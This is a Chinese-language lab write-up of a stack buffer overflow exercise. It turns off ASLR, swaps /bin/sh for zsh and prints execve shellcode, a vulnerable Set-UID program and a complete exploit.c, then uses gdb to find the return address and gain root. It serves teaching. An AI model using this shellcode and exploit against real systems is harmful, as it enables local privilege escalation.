緩衝區溢位實驗
實驗環境:Ubuntu20.04 32位
實驗機:Ubuntu20.04 64位
1 初始設定
-
Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。可以使用
sudo sysctl -w kernel.randomize_va_space=0
,執行結果如下: -
此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現
sudo apt install zsh sudo su cd /bin rm sh ln -s zsh sh exit
-
輸入命令linux32進入32位linux環境。
2 shellcode
一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。以下為shellcodeC語言版本。
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
通常使用的是彙編後的shellcode,如下:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3 漏洞程式
漏洞程式程式碼如下:
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。
編譯該程式,並設定 SET-UID。命令如下:
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
執行第一條命令,出現報錯
提示缺少相應標頭檔案,使用sudo apt-get install gcc-multilib
下載對應依賴。
再次執行命令,執行成功。
GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。
-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。
4 攻擊程式
我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。在當前目錄下新建一個 exploit.c 檔案,檔案內容如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址
strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的程式碼,\x??\x??\x??\x??
處需要添上shellcode
儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而strcpy(buffer+100,shellcode);
這一句又告訴我們,shellcode
儲存在 buffer + 100
的位置。下面將詳細介紹如何獲得需要新增的地址。
首先使用gdb staack
命令進入gdb
除錯,先run
,再使用disass main
命令
重點看
esp 中就是 str 的起始地址,所以我們在地址 0x56556279
處設定斷點
地址可能不一致,請根據你的顯示結果自行修改。
接下來的操作:
b *0x56556279
r
i r $esp
最後獲得的這個 0xffffcf30
就是 str
的地址。
按q鍵,再按y退出除錯
根據語句strcpy(buffer + 100,shellcode);
我們計算shellcode
的地址為0xffffcf30 + 0x64 = 0xffffcf94
現在修改exploit.c
檔案,將 \x??\x??\x??\x??
修改為計算的結果 \x94\xcf\xff\xff
,注意順序是反的。
然後編譯exploit.c
程式:gcc -m32 -o exploit exploit.c
執行以下命令
./exploit
./stack
執行結果如下:
5 拓展實驗
5.1 開啟地址空間隨機化機制
過命令sudo sysctl -w kernel.randomize_va_space=2
開啟系統的地址空間隨機化機制,結果顯然不能進行root。
關閉地址空間隨機化機制後,再次執行就能root了。
5.2 將/bin/sh
重新指向/bin/bash
使用一下命令將/bin/sh
重新指向/bin/bash
sudo su
cd /bin
rm sh
ln -s bash sh
exit
執行結果如下
進入linux32,再次執行stack
,無法root,顯示為段錯誤
再次切換為zsh,執行stack
,結果如下:
6 實驗總結
本次實驗參考實驗樓-緩衝區溢位實驗
需要指出該參考資料存在一處問題:
在進入gdb除錯後直接進行反彙編,得到的結果如下圖:
實際上,這種做法是錯誤的。應當按照本文中的做法,先run
,再disass main
,具體原因如下:
在沒有用gdb執行(run)過可執行程式之前,使用disass指令反彙編出來的組合語言的左邊的地址偏移地址,不是邏輯地址。
所以這樣做最後是無法通過緩衝區溢位得到root許可權的,我在做的時候踩了這個坑。